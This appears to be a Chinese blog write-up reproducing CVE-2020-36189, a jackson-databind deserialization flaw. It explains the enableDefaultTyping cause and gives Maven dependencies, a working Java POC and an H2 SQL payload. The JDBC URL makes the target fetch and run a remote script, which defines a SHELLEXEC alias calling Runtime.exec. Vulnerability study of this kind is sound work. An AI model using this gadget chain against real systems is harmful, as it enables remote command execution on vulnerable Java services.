CVE-2020-36189 jackson-databind java反序列化漏洞

漏洞原理

jackson-databind是一套开源的java序列化与反序列化工具框架,可将java对象序列化为xml和json格式的字符串及提供对应的反序列化过程。由于其解析效率较高,目前是Spring MVC中内置使用的解析方式,该漏洞的触发条件是ObjectMapper反序列化前调用了enableDefaultTyping方法。该方法允许json字符串中指定反序列化java对象的类名,而在使用Object、Map、List等对象时,可诱发反序列化漏洞,导致可执行任意命令。

jackson使用ObjectMapper作为转换的操作类,通过声明这个类来进行json的序列化与反序列化。

com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource类中实现了url的输入和调用,通过可控的url进行payload的打入,即可依靠ObjectMapper的反序列化漏洞实现SSRF和RCE。

如图是上述package的源码,在1处实现了对url的输入,在2处实现了调用,

所以本次漏洞利用的目标是通过反序列化json串,使项目执行DriverManager.getConnection(),构造参数实现远程执行命令

本次构建的目标是实现如下命令

java 复制代码
DriverManager.getConnection(实现payload的数据库的url, username, password)

jbdc(java database connection)是一种java对数据库进行连接增删改查等操作的技术。

H2数据库是一个开源的内嵌式关系型数据库,此处使用了mem选项,数据直接存放在内存中。

TRACE_LEVEL_SYSTEM_OUT是某项设置,没有查到。

INIT=RUNSCRIPT FROM是在数据库连接时执行SQL语句。

上图是SQL语句形式的payload,即创建SHELLEXEC函数以执行。两组$$中间是作为引用将SHELLEXEC函数填写了java函数。

首先objectmapper.enableDefaultTyping()可以使mapper在读取时,识别除了自然类型(String, Int, Double等)之外的非常量类型,这个名字可以在json中写出,读取时便可以该类存储。

如图所示json字符串是[类名, {参数名:参数值,...,}]的形式,将对象的参数的类名打印,是json中的类名。

mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false)

参数设置,对象为空时不抛异常。

objectmapper.readvalue()将json串转化为了类对象,并将数值按参数填入。

objectmapper.writeValueAsString()再将对象转换为字符串。

那么为什么getConnection会执行又成了问题,源码太繁琐,工作量太大,换一个思路进行分析。

首先在userBase类里写下三个函数,分别是pubilic,private和CVE漏洞中本身的使用了java.sql中的Connection类的函数。

根据回显可以看到getConnection进行了执行,其余两项并没有

下载好h2数据库后,之前使用的payload也执行成功

但是如果直接赋值或是使用Class内部的setUsername方法均不会成功,因此推断是使用writeValueAsString序列化对象时会自动调用Connection方法。
在jackson源码中进行了对类中方法的扫描

源码太过复杂,源码级别分析确实过于困难,只能得出在使用writeValueAsString方法时Connection会自动执行的结论

首先简化Class,并将setUsername注释,可以看见payload执行成功

将public改为private,payload执行失败

之后取消set方法的注释,payload执行成功

因此该漏洞有两个利用条件:

--目标类中需要存在Connection方法

--Connection方法中的DriverManager.getConnection()中的参数需要可控

以上思路存在于CVE-2020-36179一直到CVE-2020-36189

漏洞复现

1、开启MVN项目,填写pom.xml,下载依赖

2、填写payload

3、将sql文件放到http服务上,执行payload使程序获取sql文件,通过反序列化使其执行sql文件内的命令,弹出计算器代表利用成功

附录

依赖项:

xml 复制代码
<dependencies>
        <dependency>
            <groupId>com.fasterxml.jackson.core</groupId>
            <artifactId>jackson-databind</artifactId>
            <version>2.9.10.7</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.newrelic.agent.java/newrelic-agent -->
        <dependency>
            <groupId>com.newrelic.agent.java</groupId>
            <artifactId>newrelic-agent</artifactId>
            <version>4.9.0</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/com.h2database/h2 -->
        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <version>1.4.199</version>
        </dependency>

        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>
</dependencies>

POC

java 复制代码
public class POC {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
        String json = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.DriverManagerConnectionSource\"," +
                " {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/exec.sql'\"}]";
        Object obj = mapper.readValue(json, Object.class);
        mapper.writeValueAsString(obj);
    }
}

exec.sql

sql 复制代码
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc.exe')
相关推荐
hdsoft_huge29 分钟前
SpringBoot 与 JPA 整合全解析:架构优势、应用场景、集成指南与最佳实践
java·spring boot·架构
百锦再1 小时前
详细解析 .NET 依赖注入的三种生命周期模式
java·开发语言·.net·di·注入·模式·依赖
程序员的世界你不懂1 小时前
基于Java+Maven+Testng+Selenium+Log4j+Allure+Jenkins搭建一个WebUI自动化框架(2)对框架加入业务逻辑层
java·selenium·maven
风吹落叶花飘荡2 小时前
2025 Next.js项目提前编译并在服务器
服务器·开发语言·javascript
宝山哥哥2 小时前
网络信息安全学习笔记1----------网络信息安全概述
网络·笔记·学习·安全·网络安全
失败又激情的man2 小时前
python之requests库解析
开发语言·爬虫·python
专注VB编程开发20年2 小时前
常见 HTTP 方法的成功状态码200,204,202,201
开发语言·网络协议·tcp/ip·http
有没有没有重复的名字2 小时前
线程安全的单例模式与读者写者问题
java·开发语言·单例模式
开开心心_Every3 小时前
便捷的电脑自动关机辅助工具
开发语言·人工智能·pdf·c#·电脑·音视频·sublime text
程序员的世界你不懂4 小时前
基于Java+Maven+Testng+Selenium+Log4j+Allure+Jenkins搭建一个WebUI自动化框架(4)集成Allure报表
java·selenium·maven